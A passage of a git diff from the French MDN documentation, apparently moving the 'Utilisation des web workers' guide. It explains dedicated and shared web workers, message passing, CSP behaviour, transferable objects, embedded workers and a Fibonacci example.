+  // Ce script ne sera pas analysé par le moteur JS car
+  // son type MIME est text/js-worker.
+  var maVar = 'Coucou monde !';
+  // Reste du code du worker.
+</script>
+<script type="text/javascript">
+  // Ce script sera analysé par le moteur JS car son type MIME
+  // est text/javascript.
+  function pageLog(sMsg) {
+    // On utilise un fragment afin que le navigateur ne rende/peigne
+    // qu'une seule fois.
+    var oFragm = document.createDocumentFragment();
+    oFragm.appendChild(document.createTextNode(sMsg));
+    oFragm.appendChild(document.createElement('br'));
+    document.querySelector('#logDisplay').appendChild(oFragm);
+  }
+</script>
+<script type="text/js-worker">
+  // Ce script ne sera pas analysé par le moteur JS car son type
+  // MIME est text/js-worker.
+  onmessage = function(oEvent) {
+    postMessage(myVar);
+  };
+  // Reste du code du worker
+</script>
+<script type="text/javascript">
+  // Ce script sera analysé par le moteur JS car son type MIME est
+  // text/javascript
+
+  var blob = new Blob(Array.prototype.map.call(document.querySelectorAll('script[type=\'text\/js-worker\']'), function (oScript) { return oScript.textContent; }),{type: 'text/javascript'});
+
+  // On crée une nouvelle propriété document.worker qui contient
+  // tous les scripts "text/js-worker".
+  document.worker = new Worker(window.URL.createObjectURL(blob));
+
+  document.worker.onmessage = function(oEvent) {
+    pageLog('Received: ' + oEvent.data);
+  };
+
+  // On démarre le worker.
+  window.onload = function() { document.worker.postMessage(''); };
+</script>
+</head>
+<body><div id="logDisplay"></div></body>
+</html>
+ +

Le worker embarqué est désormais injecté dans la propriété document.worker.

+ +

On notera également qu'on peut convertir une fonction en un Blob et générer une URL d'objet vers ce blob. Par exemple :

+ +
function fn2workerURL(fn) {
+  var blob = new Blob(['('+fn.toString()+')()'], {type: 'application/javascript'})
+  return URL.createObjectURL(blob)
+}
+ +

Autres exemples

+ +

Dans cette section nous voyons d'autres exemples d'application.

+ +

Effectuer des calculs en arrière-plan

+ +

Les workers sont notamment utiles pour réaliser des opérations de traitement intensives sans bloquer pour autant le thread responsable de l'interface utilisateur. Dans cet exemple, on utilise un worker afin de calculer la suite de Fibonacci.

+ +

JavaScript

+ +

Le code JavaScript suivant sera enregistré dans le fichier "fibonacci.js" auquel on fera référence dans le document HTML ci-après.

+ +
var results = [];
+
+function resultReceiver(event) {
+  results.push(parseInt(event.data));
+  if (results.length == 2) {
+    postMessage(results[0] + results[1]);
+  }
+}
+
+function errorReceiver(event) {
+  throw event.data;
+}
+
+onmessage = function(event) {
+  var n = parseInt(event.data);
+
+  if (n == 0 || n == 1) {
+    postMessage(n);
+    return;
+  }
+
+  for (var i = 1; i <= 2; i++) {
+    var worker = new Worker('fibonacci.js');
+    worker.onmessage = resultReceiver;
+    worker.onerror = errorReceiver;
+    worker.postMessage(n - i);
+  }
+ };
+ +

On a défini la propriété onmessage avec une fonction qui recevra les messages envoyés au worker via postMessage(). On initie alors la récursion et on déclenche des copies du worker afin de gérer chacune des itérations liées au calcul.

+ +

HTML

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <meta charset="UTF-8"  />
+    <title>Test threads fibonacci</title>
+  </head>
+  <body>
+
+  <div id="result"></div>
+
+  <script language="javascript">
+
+    var worker = new Worker('fibonacci.js');
+
+    worker.onmessage = function(event) {
+      document.getElementById('result').textContent = event.data;
+      dump('Got: ' + event.data + '\n');
+    };
+
+    worker.onerror = function(error) {
+      console.error('Worker error: ' + error.message + '\n');
+      throw error;
+    };
+
+    worker.postMessage('5');
+
+  </script>
+  </body>
+</html>
+
+ +

Dans la page web, on crée un élément div avec l'identifiant result. C'est cet élément qui sera utilisé afin d'afficher le résultat.

+ +

Ensuite, on lance le worker. Après avoir initié le worker, on configure le gestionnaire d'évènement onmessage afin d'afficher le résultat via le div. On configure également le gestionnaire onerror afin d'afficher l'erreur de la console.

+ +

Enfin, on envoie un message au worker afin de le démarrer.

+ +

Essayer cet exemple.

+ +

Répartir des tâches entre plusieurs workers

+ +

Les ordinateurs dotés de plusieurs coeurs se généralisent et il peut s'avérer utile de fragmenter une tâche complexe entre différents workers afin de tirer parti des différents coeurs du processeur.

+ +

Autres workers

+ +

En plus des web workers (dédiés et partagés), il existe d'autres types de workers :

+ +
    +
  • Les service workers peuvent notamment servir de serveurs mandataires (proxy) entre les applications web, le navigateur et le réseau (lorsque celui-ci est disponible). Ces workers sont conçus afin de permettre des utilisations hors-ligne en interceptant les requêtes réseau et en déclenchant les actions nécessaires selon que le réseau est disponible ou non et que les ressources souhaitées sont disponibles sur le serveur. Ces workers permettent de déclencher des notifications push et d'utiliser des API de synchronisation en arrière-plan.
    • +
  • Les worklets audio permettent de traiter des signaux audios en arrière-plan (fonctionnalité expérimentale).
    • +
+ +

Fonctions et interfaces disponibles pour les workers

+ +

La plupart des fonctionnalités JavaScript standard peuvent être utilisées dans les web workers, dont :

+ +
    +
  • {{domxref("Navigator")}}
    • +
  • {{domxref("XMLHttpRequest")}}
    • +
  • {{jsxref("Objets_globaux/Array", "Array")}}, {{jsxref("Objets_globaux/Date", "Date")}}, {{jsxref("Objets_globaux/Math", "Math")}} et {{jsxref("Objets_globaux/String", "String")}}
    • +
  • {{domxref("WindowTimers.setTimeout")}} et {{domxref("WindowTimers.setInterval")}}
    • +
+ +

En revanche, un worker ne pourra pas directement manipuler la page parente et notamment le DOM et les objets de la page. Il faudra effectuer ce traitement indirectement, via des messages.

+ +
+

Note : Pour avoir une liste exhaustive des fonctionnalités disponibles pour les workers, voir  les fonctions et interfaces disponibles pour les workers.

+
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('HTML WHATWG', '#workers', 'Web workers')}}{{Spec2('HTML WHATWG')}}
+ +

Compatibilité des navigateurs

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Support simple4[1]{{CompatGeckoDesktop("1.9.1")}}10.010.6[1]4[2][5]
Workers partagés4[1]{{CompatGeckoDesktop(29)}}{{CompatNo}}10.65
+ {{CompatNo}} 6.1[4]
Echange de données via le clonage structuré13{{CompatGeckoDesktop(8)}}10.011.56
Echange de données via les objets transférables17 {{property_prefix("webkit")}}
+ 21		{{CompatGeckoDesktop(18)}}{{CompatNo}}156
Variable globale {{domxref("window.URL", "URL")}}10[3]
+ 23		{{CompatGeckoDesktop(21)}}11156[3]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéAndroidChrome pour AndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
Support simple4.44[1]3.51.0.110.011.5[1]5.1[2][5]
Shared workers{{CompatNo}}4[1]81.0.1{{CompatNo}}{{CompatNo}}{{CompatNo}}
Echange de données via le clonage structuré{{CompatNo}}481.0.1{{CompatNo}}{{CompatNo}}{{CompatNo}}
Echange de données via les objets transférables{{CompatNo}}{{CompatNo}}181.0.1{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] Chrome et Opera provoquent une erreur "Uncaught SecurityError: Failed to construct 'Worker': Script at 'file:///Path/to/worker.js' cannot be accessed from origin 'null'." lorsqu'on souhaite accéder au worker en local. Il faut un domaine réel pour le faire.

+ +

[2] Avec Safari 7.1.2, on peut appeler console.log depuis un worker mais cela n'affichera rien dans la console. Les versions antérieures ne permettent pas d'appeler console.log depuis un worker.

+ +

[3] Cette fonctionnalité est préfixée : webkitURL.

+ +

[4] Safari a retiré la prise en charge de SharedWorker.

+ +

[5] Avec Safari v.12+ (iOS & MacOS), les web workers sont uniquement démarrés après une interaction utilisateur (un clic par exemple). Les workers pourront être créés mais ne seront pas exécutés tant qu'ils n'y aura pas eu d'interaction.

+ +

Voir aussi

+ + diff --git a/files/fr/web/api/web_workers_api/utilisation_des_web_workers/index.html b/files/fr/web/api/web_workers_api/utilisation_des_web_workers/index.html deleted file mode 100644 index b1330f34bf..0000000000 --- a/files/fr/web/api/web_workers_api/utilisation_des_web_workers/index.html +++ /dev/null @@ -1,633 +0,0 @@ ---- -title: Utilisation des web workers -slug: Web/API/Web_Workers_API/Utilisation_des_web_workers -tags: - - Avancé - - Guide - - JavaScript - - Web Workers -translation_of: Web/API/Web_Workers_API/Using_web_workers ---- -
{{DefaultAPISidebar("Web Workers API")}}
- -

Les Web Workers sont un outil permettant au contenu web d'exécuter des scripts dans des tâches (threads) d'arrière-plan. Le thread associé au worker peut réaliser des tâches sans qu'il y ait d'interférence avec l'interface utilisateur. De plus, les web workers peuvent réaliser des opérations d'entrée/sortie grâce à XMLHttpRequest (bien que les attributs responseXML et channel soient nécessairement vides dans ces cas). Une fois créé, un worker peut envoyer des messages au code JavaScript qui l'a créé. De même, le script initial peut envoyer des messages au worker. Cette communication s'effectue grâce à des gestionnaires d'évènements. Dans cet article, nous verrons une introduction à l'utilisation des web workers.

- -

L'API Web Workers

- -

Un worker est un objet créé à l'aide d'un constructeur (par exemple {{domxref("Worker.Worker", "Worker()")}}) et qui exécute un fichier JavaScript donné. Ce fichier contient le code qui sera exécuté par le thread du worker. Les workers sont exécutés dans un contexte global qui n'est pas celui du document (généralement {{domxref("window")}}). Aussi, si, dans un worker, on utilise {{domxref("window")}} pour accéder à la portée globale (plutôt que {{domxref("window.self","self")}}), cela provoquera une erreur.

- -

Le contexte du worker est représenté par un objet {{domxref("DedicatedWorkerGlobalScope")}} pour les workers dédiés et par un objet {{domxref("SharedWorkerGlobalScope")}} sinon. Un worker dédié est uniquement accessible au travers du script qui l'a déclenché tandis qu'un worker partagé peut être utilisé par différents scripts.

- -
-

Note : Voir la page d'entrée pour l'API Web Workers pour consulter la documentation de référence sur les workers et d'autres guides.

-
- -

Il est possible d'exécuter n'importe quel code JavaScript dans le thread du worker, à l'exception des méthodes de manipulation du DOM ou de certaines propriétés et méthodes rattachées à {{domxref("window")}}. On notera cependant qu'on peut tout à fait utiliser certaines API rendues disponibles via window comme les WebSockets, les API de stockage de données telles que IndexedDB. Pour plus de détails, voir les fonctions et classes disponibles au sein des workers.

- -

Les données sont échangées entre le thread du worker et le thread principal par l'intermédiaire de messages. Chaque partie peut envoyer des messages à l'aide de la méthode postMessage() et réagir aux messages reçus grâce au gestionnaire d'évènement onmessage (le message sera contenu dans l'attribut data de l'évènement {{event("Message")}} associé). Les données sont copiées dans le message, elles ne sont pas partagées.

- -

Les workers peuvent également déclencher la création d'autres workers tant que ceux-ci restent hébergés sur la même origine que la page parente. De plus, les workers pourront utiliser XMLHttpRequest pour effectuer des opérations réseau mais les attributs responseXML et channel de XMLHttpRequest renverront nécessairement null.

- -

Les workers dédiés

- -

Comme indiqué plus haut, un worker dédié n'est accessible qu'au travers du script qui l'a initié. Dans cette section, nous étudierons le code JavaScript de notre exemple de worker dédié simple. Dans cet exemple, nous souhaitons multiplier deux nombres. Ces nombres sont envoyés à un worker dédié puis le résultat est renvoyé à la page et affiché.

- -

Cet exemple est assez simple mais permet d'introduire les concepts de base autour des workers. Nous verrons certains détails plus avancés dans la suite de cet article.

- -

Détecter la possibilité d'utiliser les workers

- -

Afin de gérer une meilleure amélioration progressive, une rétro-compatibilité et de présenter des messages d'erreur adéquats, il pourra être utile d'envelopper le code relatif au worker de la façon suivante (main.js) :

- -
if (window.Worker) {
-  ...
-}
- -

Initier un worker dédié

- -

La création d'un nouveau worker est assez simple. On appellera le constructeur {{domxref("Worker.Worker", "Worker()")}} en indiquant l'URI du script à exécuter dans le thread associé au worker (main.js) :

- -
-
var monWorker = new Worker('worker.js');
-
-
- -

Envoyer des messages au worker et y réagir

- -

L'intérêt principal des workers repose sur l'échange de messages à l'aide de la méthode {{domxref("Worker.postMessage", "postMessage()")}} et grâce au gestionnaire d'évènement {{domxref("Worker.onmessage", "onmessage")}}. Lorsqu'on souhaite envoyer un message au worker, on enverra des messages de la façon suivante (main.js) :

- -
premierNombre.onchange = function() {
-  monWorker.postMessage([premierNombre.value, deuxiemeNombre.value]);
-  console.log('Message envoyé au worker');
-}
-
-deuxiemeNombre.onchange = function() {
-  monWorker.postMessage([premierNombre.value, deuxiemeNombre.value]);
-  console.log('Message envoyé au worker');
-}
- -

Ici, nous disposons de deux éléments {{htmlelement("input")}} représentés par les variables premierNombre et deuxiemeNombre. Lorsque l'un de ces deux champs est modifié, on utilise monWorker.postMessage([premierNombre.value, deuxiemeNombre.value]) afin d'envoyer les deux valeurs au worker dans un tableau. Les messages peuvent être utilisés pour échanger n'importe quel type de valeur.

- -

Dans le worker, on peut réagir au message reçu grâce à un gestionnaire d'évènement comme celui-ci (worker.js) :

- -
onmessage = function(e) {
-  console.log('Message reçu depuis le script principal.');
-  var workerResult = 'Résultat : ' + (e.data[0] * e.data[1]);
-  console.log('Envoi du message de retour au script principal');
-  postMessage(workerResult);
-}
- -

Le gestionnaire onmessage permet d'exécuter du code lorsqu'un message est reçu. Le message même est disponible grâce à l'attribut data de l'évènement. Dans cet exemple, nous multiplions simplement les deux nombres avant d'utiliser postMessage() à nouveau afin d'envoyer le résultat via un message destiné au thread principal.

- -

De retour dans le thread principal, nous pouvons utiliser onmessage à nouveau pour réagir à la réponse provenant du worker :

- -
monWorker.onmessage = function(e) {
-  resultat.textContent = e.data;
-  console.log('Message reçu depuis le worker');
-}
- -

Ici, nous récupérons les données grâce à l'attribut data de l'évènement et nous mettons à jour le contenu du paragraphe avec l'attribut textContent de l'élément. Ainsi, l'utilisateur peut visualiser le résultat du calcul.

- -
Note : On notera que onmessage et postMessage() doivent être rattachés à un objet Worker lorsqu'ils sont utilisés depuis le thread principal (ici, c'était monWorker) mais pas lorsqu'ils sont employés depuis le worker. En effet, dans le worker, c'est le worker qui constitue la portée globale et qui met à disposition ces méthodes.
- -
Note : Lorsqu'un message est envoyé d'un thread à l'autre, ses données sont copiées. Elles ne sont pas partagées. Voir ci-après pour plus d'explications à ce sujet.
- -

Clôturer un worker

- -

Si on doit arrêter un worker immédiatement, on pourra utiliser la méthode {{domxref("Worker", "terminate")}} depuis le thread principal :

- -
monWorker.terminate();
- -

Lorsque cette méthode exécuté, le thread associé au worker est tué immédiatement.

- -

Gérer les erreurs

- -

Lorsqu'une erreur d'exécution se produit avec le worker, son gestionnaire d'évènement onerror est appelé et reçoit un évènement error qui implémente l'interface ErrorEvent.

- -

Cet évènement ne bouillonne (bubble) pas et peut être annulé. Pour empêcher les conséquences par défaut, on pourra utiliser la méthode preventDefault() rattachée à l'évènement d'erreur.

- -

L'évènement décrivant l'erreur possède notamment trois propriétés intéressantes :

- -
-
message
-
Un message d'erreur compréhensible par un humain.
-
filename
-
Le nom du fichier pour lequel l'erreur s'est produite.
-
lineno
-
Le numéro de ligne au sein du fichier responsable de l'erreur.
-
- -

Initier des workers fils

- -

Les workers peuvent également engendrer d'autres workers. Ces workers-fils doivent être hébergés sur la même origine que la page initiale. De plus, les URI des workers-fils sont résolues relativement à l'emplacement du worker père (plutôt que par rapport à la page parente). Ces contraintes permettent de simplifier le suivi des dépendances.

- -

Importer des scripts et des bibliothèques

- -

Les threads d'exécution des workers peuvent accéder à la fonction globale importScripts(), qui leur permet d'importer des scripts. Cette fonction prend zéro à plusieurs URL en paramètres et importe les ressources associées. Voici quelques exemples valides :

- -
importScripts();                         /* n'importe rien */
-importScripts('toto.js');                /* importe uniquement "toto.js" */
-importScripts('toto.js', 'truc.js');     /* importe deux scripts */
-importScripts('//example.com/hello.js'); /* importe un script d'une autre origine */
- -

Lors d'un import, le navigateur chargera chacun des scripts puis l'exécutera. Chaque script pourra ainsi mettre à disposition des objets globaux qui pourront être utilisés par le worker. Si le script ne peut pas être chargé, une exception NETWORK_ERROR sera levée et le code assicé ne sera pas exécuté. Le code exécuté précédemment (y compris celui-ci reporté à l'aide de {{domxref("window.setTimeout()")}}) continuera cependant d'être fonctionnel. Les déclarations de fonction situées après importScripts() sont également exécutées car évaluées avant le reste du code.

- -
Note : Les scripts peuvent être téléchargés dans n'importe quel ordre mais ils seront exécutés dans l'ordre des arguments passés à importScripts() . Cet exécution est effectuée de façon synchrone et importScripts() ne rendra pas la main tant que l'ensemble des scripts n'auront pas été chargés et exécutés.
- -

Les workers partagés

- -

Un worker partagé est accessible par plusieurs scripts (même si ceux-ci proviennent de différentes fenêtres, iframes voire d'autres workers). Dans cette section, nous illustrerons les concepts à l'aide de l'exemple simple d'un worker partagé. Cet exemple est semblable à l'exemple utilisé pour le worker dédié. Il diffère car il possède deux fonctions, gérées par deux fichiers de script distincts : une fonction permettant de multiplier deux nombres et une fonction permettant d'élever un nombre au carré. Les deux scripts utilisent le même worker pour réaliser le calcul demandé.

- -

Ici, nous nous intéresserons particulièrement aux différences entre les workers dédiés et les workers partagés. Dans cet exemple, nous aurons deux pages HTML, chacune utilisant du code JavaScript employant le même worker.

- -
-

Note : Si on peut accéder à un worker partagé depuis différents contextes de navigations, ces contextes de navigation doivent néanmoins partager la même origine (même protocole, même hôte, même port).

-
- -
-

Note : Dans Firefox, les workers partagés ne peuvent pas être partagés entre les documents chargés en navigation privée et les documents chargés en navigation classique ({{bug(1177621)}}).

-
- -

Initier un worker partagé

- -

La création d'un nouveau worker partagé est assez semblable à la création d'un worker dédié. On utilise alors un constructeur différent :

- -
var monWorker = new SharedWorker('worker.js');
- -

Une différence fondamentale avec les workers dédiés est l'utilisation d'un objet port pour la communication. Un port sera explicitement ouvert pour être utilisé afin de communiquer avec le worker (dans le cas des workers dédiés, ce port est ouvert implicitement).

- -

La connexion au port doit être démarrée implicitement avec l'utilisation du gestionnaire d'évènement onmessage ou explicitement avec la méthode start() avant qu'un message soit envoyé. On utilisera uniquement start() si l'évènement message est détecté avec la méthode addEventListener().

- -
-

Note : Lorsqu'on utilise la méthode start() afin d'ouvrir le port de connexion, celle-ci doit être appelée de part et d'autre (depuis le thread parent et depuis le worker) si on souhaite disposer d'une connexion bidirectionnelle.

-
- -

Échanger des messages avec un worker partagé et y réagir

- -

On peut alors envoyer des messages au worker. Dans le cas d'un worker partagé, la méthode postMessage() doit être appelée via l'objet port (là aussi, vous pouvez étudier le code de multiply.js et square.js) :

- -
carreNombre.onchange = function() {
-  monWorker.port.postMessage([carreNombre.value, carreNombre.value]);
-  console.log('Message envoyé au worker');
-}
- -

Du côté du worker, les choses sont également légèrement plus compliquées (voir worker.js) :

- -
onconnect = function(e) {
-  var port = e.ports[0];
-
-  port.onmessage = function(e) {
-    var workerResult = 'Résultat : ' + (e.data[0] * e.data[1]);
-    port.postMessage(workerResult);
-  }
-}
- -

On commence par utiliser le gestionnaire onconnect afin de déclencher du code à la connexion au port (c'est-à-dire lorsque le gestionnaire onmessage est déclaré depuis le thread parent ou lorsque la méthode start() est invoquée explicitement depuis le thread parent).

- -

On utilise l'attribut ports de l'évènement afin de récupérer le port utilisé et on le place dans une variable.

- -

Ensuite, sur ce port, on ajoute un gestionnaire d'évènement pour l'évènement message afin de faire les calculs et de renvoyer le résultat au thread principal. En définissant ce gestionnaire pour message dans le thread du worker, on ouvre implicitement le port pour la connexion au thread parent : il n'est donc pas nécessaire d'invoquer port.start().

- -

Enfin, dans le script de la page, on gère le message du résultat (voir multiply.js et square.js):

- -
monWorker.port.onmessage = function(e) {
-  result2.textContent = e.data;
-  console.log('Message reçu depuis le worker');
-}
- -

Lorsqu'un message provient du port associé au worker, on vérifie son type puis on insère le résultat dans le paragraphe associé.

- -

Sûreté des threads

- -

L'interface {{domxref("Worker")}} engendre des threads au sens du système d'exploitation. Certains développeurs avertis pourront se demander si cette communication à base de threads ne peut pas générer d'effets indésirables tels que des situations de compétition (race conditions).

- -

Toutefois, la communication entre les web workers est contrôlée explicitement dans les scripts et il n'y a pas d'accès aux composants ou au DOM qui ne seraient pas sûrs à ce niveau. De plus, la communication entre les threads s'effectue par recopie de données. Aussi, s'il n'est théoriquement pas impossible de ne pas avoir de tels problèmes, il faudrait les chercher pour les provoquer.

- -

Règles de sécurité du contenu (content security policy, CSP)

- -

Les workers disposent de leur propre contexte d'exécution, distinct de celui du document qui les a créés. Aussi, en général, les workers ne sont pas gérés par la politique de sécurité de contenu du document (ou du worker parent) responsable de leur création. Ainsi, si un document est servi avec l'en-tête suivant :

- -
Content-Security-Policy: script-src 'self'
- -
Cette règle empêchera n'importe quel script inclus dans le document d'utiliser eval(). Toutefois, si le script génère un worker, le code exécuté par ce worker pourra utiliser eval().
-
-Pour appliquer une règle de sécurité au worker, il faudra fournir un en-tête Content-Security-Policy approprié pour la requête responsable du service du script du worker.
-
-Si l'origine du script du worker est un identifiant global unique (si son URL utilise le schéma data:// ou blob:// par exemple), le worker héritera du CSP associé au document responsable de sa création.
- -
- -

Échanger des données avec les workers : plus de détails

- -

Les données échangées entre le document principal et les workers sont copiées et non partagées. Lorsqu'ils sont envoyés au worker, les objets sont sérialisés (puis désérialisés à leur réception). La page et le worker ne partagent pas le même exemplaire et on a donc deux versions d'une part et d'autre. La plupart des navigateurs implémentent cette approche avec une clonage structurel.

- -

Pour illustrer ce point, on prendra une fonction intitulée emulateMessage() et qui simule le comportement d'une valeur clonée (pas partagée) avec un worker attaché à la page principale et réciproquement :

- -
function emulateMessage(vVal) {
-    return eval('(' + JSON.stringify(vVal) + ')');
-}
-
-// Tests
-
-// test #1
-var example1 = new Number(3);
-console.log(typeof example1); // object
-console.log(typeof emulateMessage(example1)); // number
-
-// test #2
-var example2 = true;
-console.log(typeof example2); // boolean
-console.log(typeof emulateMessage(example2)); // boolean
-
-// test #3
-var example3 = new String('Hello World');
-console.log(typeof example3); // object
-console.log(typeof emulateMessage(example3)); // string
-
-// test #4
-var example4 = {
-    'name': 'John Smith',
-    "age": 43
-};
-console.log(typeof example4); // object
-console.log(typeof emulateMessage(example4)); // object
-
-// test #5
-function Animal(sType, nAge) {
-    this.type = sType;
-    this.age = nAge;
-}
-var example5 = new Animal('Cat', 3);
-console.log(example5.constructor); // Animal
-console.log(emulateMessage(example5).constructor); // Object
- -

Une valeur qui est clonée et non partagée est appelée un message. Les messages peuvent être envoyés et reçus grâce à postMessage() et au gestionnaire d'évènement pour message (dont l'attribut {{domxref("MessageEvent.data", "data")}} contiendra les données copiées).

- -

example.html (page principale) :

- -
var myWorker = new Worker('my_task.js');
-
-myWorker.onmessage = function(oEvent) {
-  console.log('Worker said : ' + oEvent.data);
-};
-
-myWorker.postMessage('ali');
- -

my_task.js (le code du worker) :

- -
postMessage("I\'m working before postMessage(\'ali\').");
-
-onmessage = function(oEvent) {
-  postMessage('Hi ' + oEvent.data);
-};
- -

L'algorithme de clonage structurel permet de sérialiser aussi bien des données JSON que d'autres formats et permet notamment de gérer les références circulaires (ce que JSON ne permet pas de gérer nativement).

- -

Les objets transférables - échanger des données avec transfert de la propriété

- -

Chrome 17+ et Firefox 18+ permettent également d'échanger certains types d'objet (qualifiés de transférables et qui implémentent l'interface {{domxref("Transferable")}}) avec des workers et à haute performance. Les objets transférables sont passés d'un contexte à l'autre avec une opération zero-copy qui permet d'obtenir des améliorations sensibles lors de l'échange de données volumineuses. On peut voir cela comme un passage de référence du monde C/C++ mais les données qui sont transférées depuis le contexte appelant ne sont plus disponibles dans ce contexte après le transfert. La propriété des données est transférée au nouveau contexte. Ainsi, lorsqu'on transfère un objet {{domxref("ArrayBuffer")}} depuis l'application principale vers le worker, l'objet {{domxref("ArrayBuffer")}} de départ est nettoyé et ne peut plus être utilisé, son contenu est (littéralement) transféré au contexte du worker.

- -
// Créer un fichier de 32MB et le remplir.
-var uInt8Array = new Uint8Array(1024 * 1024 * 32); // 32MB
-for (var i = 0; i < uInt8Array.length; ++i) {
-  uInt8Array[i] = i;
-}
-
-worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]);
-
- -
-

Note : Pour plus d'informations quant aux objets transférables, aux performances associées et à la détection de ces fonctionnalités, on pourra lire Transferable Objects: Lightning Fast.

-
- -

Workers embarqués

- -

Il n'existe pas de méthode standard pour embarquer le code d'un worker dans une page web à la façon des éléments {{HTMLElement("script")}}. Toutefois, un élément {{HTMLElement("script")}}, qui ne possède pas d'attribut src, qui possède un attribut type ne correspondant pas à un type MIME exécutable pourra être considéré comme un bloc de données pouvant être utilisé par JavaScript. Ces blocs de données sont une fonctionnalité HTML5 qui permet de transporter n'importe quelle donnée textuelle. On pourrait donc embarquer un worker de cette façon :

- -
<!DOCTYPE html>
-<html>
-<head>
-<meta charset="UTF-8" />
-<title>Exemple MDN - Worker embarqué</title>
-<script type="text/js-worker">
-  // Ce script ne sera pas analysé par le moteur JS car
-  // son type MIME est text/js-worker.
-  var maVar = 'Coucou monde !';
-  // Reste du code du worker.
-</script>
-<script type="text/javascript">
-  // Ce script sera analysé par le moteur JS car son type MIME
-  // est text/javascript.
-  function pageLog(sMsg) {
-    // On utilise un fragment afin que le navigateur ne rende/peigne
-    // qu'une seule fois.
-    var oFragm = document.createDocumentFragment();
-    oFragm.appendChild(document.createTextNode(sMsg));
-    oFragm.appendChild(document.createElement('br'));
-    document.querySelector('#logDisplay').appendChild(oFragm);
-  }
-</script>
-<script type="text/js-worker">
-  // Ce script ne sera pas analysé par le moteur JS car son type
-  // MIME est text/js-worker.
-  onmessage = function(oEvent) {
-    postMessage(myVar);
-  };
-  // Reste du code du worker
-</script>
-<script type="text/javascript">
-  // Ce script sera analysé par le moteur JS car son type MIME est
-  // text/javascript
-
-  var blob = new Blob(Array.prototype.map.call(document.querySelectorAll('script[type=\'text\/js-worker\']'), function (oScript) { return oScript.textContent; }),{type: 'text/javascript'});
-
-  // On crée une nouvelle propriété document.worker qui contient
-  // tous les scripts "text/js-worker".
-  document.worker = new Worker(window.URL.createObjectURL(blob));
-
-  document.worker.onmessage = function(oEvent) {
-    pageLog('Received: ' + oEvent.data);
-  };
-
-  // On démarre le worker.
-  window.onload = function() { document.worker.postMessage(''); };
-</script>
-</head>
-<body><div id="logDisplay"></div></body>
-</html>
- -

Le worker embarqué est désormais injecté dans la propriété document.worker.

- -

On notera également qu'on peut convertir une fonction en un Blob et générer une URL d'objet vers ce blob. Par exemple :

- -
function fn2workerURL(fn) {
-  var blob = new Blob(['('+fn.toString()+')()'], {type: 'application/javascript'})
-  return URL.createObjectURL(blob)
-}
- -

Autres exemples

- -

Dans cette section nous voyons d'autres exemples d'application.

- -

Effectuer des calculs en arrière-plan

- -

Les workers sont notamment utiles pour réaliser des opérations de traitement intensives sans bloquer pour autant le thread responsable de l'interface utilisateur. Dans cet exemple, on utilise un worker afin de calculer la suite de Fibonacci.

- -

JavaScript

- -

Le code JavaScript suivant sera enregistré dans le fichier "fibonacci.js" auquel on fera référence dans le document HTML ci-après.

- -
var results = [];
-
-function resultReceiver(event) {
-  results.push(parseInt(event.data));
-  if (results.length == 2) {
-    postMessage(results[0] + results[1]);
-  }
-}
-
-function errorReceiver(event) {
-  throw event.data;
-}
-
-onmessage = function(event) {
-  var n = parseInt(event.data);
-
-  if (n == 0 || n == 1) {
-    postMessage(n);
-    return;
-  }
-
-  for (var i = 1; i <= 2; i++) {
-    var worker = new Worker('fibonacci.js');
-    worker.onmessage = resultReceiver;
-    worker.onerror = errorReceiver;
-    worker.postMessage(n - i);
-  }
- };
- -

On a défini la propriété onmessage avec une fonction qui recevra les messages envoyés au worker via postMessage(). On initie alors la récursion et on déclenche des copies du worker afin de gérer chacune des itérations liées au calcul.

- -

HTML

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <meta charset="UTF-8"  />
-    <title>Test threads fibonacci</title>
-  </head>
-  <body>
-
-  <div id="result"></div>
-
-  <script language="javascript">
-
-    var worker = new Worker('fibonacci.js');
-
-    worker.onmessage = function(event) {
-      document.getElementById('result').textContent = event.data;
-      dump('Got: ' + event.data + '\n');
-    };
-
-    worker.onerror = function(error) {
-      console.error('Worker error: ' + error.message + '\n');
-      throw error;
-    };
-
-    worker.postMessage('5');
-
-  </script>
-  </body>
-</html>
-
- -

Dans la page web, on crée un élément div avec l'identifiant result. C'est cet élément qui sera utilisé afin d'afficher le résultat.

- -

Ensuite, on lance le worker. Après avoir initié le worker, on configure le gestionnaire d'évènement onmessage afin d'afficher le résultat via le div. On configure également le gestionnaire onerror afin d'afficher l'erreur de la console.

- -

Enfin, on envoie un message au worker afin de le démarrer.

- -

Essayer cet exemple.

- -

Répartir des tâches entre plusieurs workers

- -

Les ordinateurs dotés de plusieurs coeurs se généralisent et il peut s'avérer utile de fragmenter une tâche complexe entre différents workers afin de tirer parti des différents coeurs du processeur.

- -

Autres workers

- -

En plus des web workers (dédiés et partagés), il existe d'autres types de workers :

- -
    -
  • Les service workers peuvent notamment servir de serveurs mandataires (proxy) entre les applications web, le navigateur et le réseau (lorsque celui-ci est disponible). Ces workers sont conçus afin de permettre des utilisations hors-ligne en interceptant les requêtes réseau et en déclenchant les actions nécessaires selon que le réseau est disponible ou non et que les ressources souhaitées sont disponibles sur le serveur. Ces workers permettent de déclencher des notifications push et d'utiliser des API de synchronisation en arrière-plan.
    • -
  • Les worklets audio permettent de traiter des signaux audios en arrière-plan (fonctionnalité expérimentale).
    • -
- -

Fonctions et interfaces disponibles pour les workers

- -

La plupart des fonctionnalités JavaScript standard peuvent être utilisées dans les web workers, dont :

- -
    -
  • {{domxref("Navigator")}}
    • -
  • {{domxref("XMLHttpRequest")}}
    • -
  • {{jsxref("Objets_globaux/Array", "Array")}}, {{jsxref("Objets_globaux/Date", "Date")}}, {{jsxref("Objets_globaux/Math", "Math")}} et {{jsxref("Objets_globaux/String", "String")}}
    • -
  • {{domxref("WindowTimers.setTimeout")}} et {{domxref("WindowTimers.setInterval")}}
    • -
- -

En revanche, un worker ne pourra pas directement manipuler la page parente et notamment le DOM et les objets de la page. Il faudra effectuer ce traitement indirectement, via des messages.

- -
-

